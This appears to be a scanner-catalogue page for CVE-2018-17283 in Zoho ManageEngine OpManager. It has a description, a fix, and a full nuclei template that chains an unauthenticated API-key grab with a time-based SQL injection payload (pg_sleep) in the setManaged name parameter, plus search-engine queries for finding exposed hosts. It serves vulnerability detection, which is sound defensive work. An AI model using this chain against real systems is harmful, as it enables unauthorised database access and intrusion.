Zoho ManageEngine OpManager - SQL Injection

highseverity

7.5CVSS score

66.3%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Zoho ManageEngine OpManager before 12.3 Build 123196 does not require authentication for /oputilsServlet requests, as demonstrated by a /oputilsServlet?action=getAPIKey request that can be leveraged against Firewall Analyzer to add an admin user via /api/json/v2/admin/addUser or conduct a SQL Injection attack via the /api/json/device/setManaged name parameter.

Impact

Unauthenticated attackers can execute SQL injection attacks to access or modify database contents, add administrator users, or extract sensitive information including credentials.

Fix

Upgrade to ManageEngine OpManager version 12.3 Build 123196 or later.

How to confirm it

Send: GET /oputilsServlet?action=getAPIKey
Send: POST /api/json/device/setManaged?apiKey={{api_key}}&manage=false
Positive when: duration>=6 and status_code == 200 and contains(body,"result") and contains(content_type,"application/json")

Run it with nuclei: nuclei -id CVE-2018-17283 -u <target>

The full check

id: CVE-2018-17283

info:
  name: Zoho ManageEngine OpManager - SQL Injection
  author: DhiyaneshDK
  severity: high
  description: |
    Zoho ManageEngine OpManager before 12.3 Build 123196 does not require authentication for /oputilsServlet requests, as demonstrated by a /oputilsServlet?action=getAPIKey request that can be leveraged against Firewall Analyzer to add an admin user via /api/json/v2/admin/addUser or conduct a SQL Injection attack via the /api/json/device/setManaged name parameter.
  impact: |
    Unauthenticated attackers can execute SQL injection attacks to access or modify database contents, add administrator users, or extract sensitive information including credentials.
  remediation: |
    Upgrade to ManageEngine OpManager version 12.3 Build 123196 or later.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-17283
    cwe-id: CWE-89
    epss-score: 0.66347
    epss-percentile: 0.99287
    cpe: cpe:2.3:a:zohocorp:manageengine_opmanager:*:*:*:*:*:*:*:*
  reference:
    - https://github.com/x-f1v3/forcve/issues/4
    - https://nvd.nist.gov/vuln/detail/CVE-2018-17283
  metadata:
    verified: true
    vendor: zohocorp
    product: manageengine_opmanager
    shodan-query: http.title:"OpManager"
    fofa-query: title="OpManager"
  tags: cve,cve2018,oputils,zoho,opmanager,sqli,time-based-sqli,vkev,vuln

http:
  - raw:
      - |
        GET /oputilsServlet?action=getAPIKey HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        group: 1
        name: api_key
        regex:
          - 'API_KEY=([0-9a-z]+)'
        internal: true

  - raw:
      - |
        POST /api/json/device/setManaged?apiKey={{api_key}}&manage=false HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        name=KcP7OGhC';select%20pg_sleep(6);%20--

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - "status_code == 200"
          - 'contains(body,"result")'
          - 'contains(content_type,"application/json")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from